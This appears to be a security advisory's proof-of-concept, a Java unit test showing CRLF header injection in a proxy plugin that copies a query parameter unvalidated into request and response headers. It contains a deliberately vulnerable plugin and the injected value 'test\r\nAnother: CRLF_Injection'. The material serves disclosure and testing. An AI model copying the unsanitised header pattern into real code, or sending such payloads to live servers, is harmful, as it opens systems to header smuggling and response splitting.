GHSA-6v7p-v754-j89v

static class VulnerablePlugin implements Plugin { @Override public Eventual<LiveHttpResponse> intercept(LiveHttpRequest request, Chain chain) { String header = request.queryParam("header-value").get(); LiveHttpRequest newRequest = request.newBuilder() .header("myRequestHeader", header) .build(); return chain.proceed(newRequest).map(response -> response.newBuilder().header("myResponseHeader", header).build() ) ; } } @Test public void simpleHeaderInjectionVulnerabilityPOC() { Plugin vulnerablePlugin = new VulnerablePlugin(); // a simple way to mock the downstream system HttpInterceptor.Chain chain = request -> { assertThat(request.header("myRequestHeader").orElse(null), is("test\r\nAnother: CRLF_Injection")); return Eventual.of(response(OK).build()); }; // an example request you expect your plugin to receive String encodedGet = URLEncoder.encode("test\r\nAnother: CRLF_Injection"); LiveHttpRequest request = get("/foo?header-value=" + encodedGet) .build(); // since this is a test, we want to wait for the response LiveHttpResponse response = Mono.from(vulnerablePlugin.intercept(request, chain)).block(); assertThat(response.header("myResponseHeader").orElse(null), is("test\r\nAnother: CRLF_Injection")); }